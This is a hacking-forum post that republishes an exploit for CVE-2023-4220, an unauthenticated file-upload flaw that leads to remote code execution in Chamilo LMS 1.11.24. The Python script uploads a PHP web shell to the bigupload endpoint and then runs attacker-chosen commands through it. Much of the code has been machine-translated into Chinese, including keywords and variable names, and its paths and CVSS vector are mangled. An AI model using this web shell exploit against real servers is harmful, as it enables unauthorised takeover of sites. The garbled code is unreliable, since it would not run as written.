H

Chamilo LMS 1.11.24-远程代码执行(RCE)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Chamilo LMS 1.11.24-远程代码执行(RCE)
#利用作者:0x00 -null -Mohamed Kamel Bouzekeakria
#利用日期: 2024年9月3日
#供应商homepage: https://chamilo.org/
#软件link: https://chamilo.org/
#版本: 1.11.24(Beersel)
#测试版本: 1.11.24(啤酒) - 2023年8月31日
#CVE ID: CVE-2023-4220
#漏洞类型:远程代码执行
#Description: Chamilo LMS中未经验证的远程代码执行=1.11.24,由于不受限制的文件上传漏洞。
#概念证明:是
#类别: Web应用程序,远程代码执行,文件上传
#CVSS得分: 8.1(高)
#CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S3:U/C:U/C33:H
#NOTES:确保存在/MAIN/INC/LIB/JAVASCRIPT/BIGUPLOAD/FILES/DIRECTORY,并且是可写的。
#许可: MIT许可证
#参考:
#-CVE详细信息: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2023-4220
#-Exploit document : https://github.com/0x00-null/chamilo-cve-2023-4220-rce-exploit
#-供应商Advisory: https://chamilo.org/
导入请求
导入argparse
从urllib.parse导入urljoin
def upload_shell(target_url,payload_name):
upload_url=urljoin(target_url,'main/inc/inc/lib/javascript/bigupload/inc/bigupload.php?action=post-unsupported')
shell_path=f'/main/inc/lib/javascript/bigupload/files/{payload_name}'
shell_url=urljoin(target_url,shell_path)
#有效载荷包含PHP Web壳
files={'biguploadfile':(payload_name,'?php system($ _ get ['cmd']);','application/x-php')}
#上传有效载荷
响应=requests.post(upload_url,files=files)
if antsphy.status_code==200:
打印('[+]文件成功上传!')
打印(f'[+]访问shell at: {shell_url}?cmd=')
其他:
打印('[ - ]文件上传失败。')
def execute_command(shell_url,cmd):
#执行命令
响应=requests.get(f'{shell_url}?cmd={cmd}')
if antsphy.status_code==200:
print(f'[+]命令output: \ n {response.text}')
其他:
print(f'[ - ]无法在{shell_url}'上执行命令)
如果name=='__ -Main __':
#解析命令行参数
parser=argparse.argumentparser(Description='CVE-2023-4220 Chamilo LMS未经验证的文件上传RCE Exploit')
parser.add_argument('target_url',help='chamilo lms实例的目标基础网址(例如3http://example.com/)')
parser.add_argument('cmd',help='在远程服务器上执行的命令')
parser.add_argument(' - shell',默认='rce.php',help='要上传的shell文件的名称(default: rce.php)')
args=parser.parse_args()
#用提供的参数运行利用
upload_shell(args.target_url,args.shell)
#形成shell URL以执行命令
shell_url=urljoin(args.target_url,f'main/inc/lib/javascript/bigupload/files/{args.shell}')
execute_command(shell_url,args.cmd)
 
后退
顶部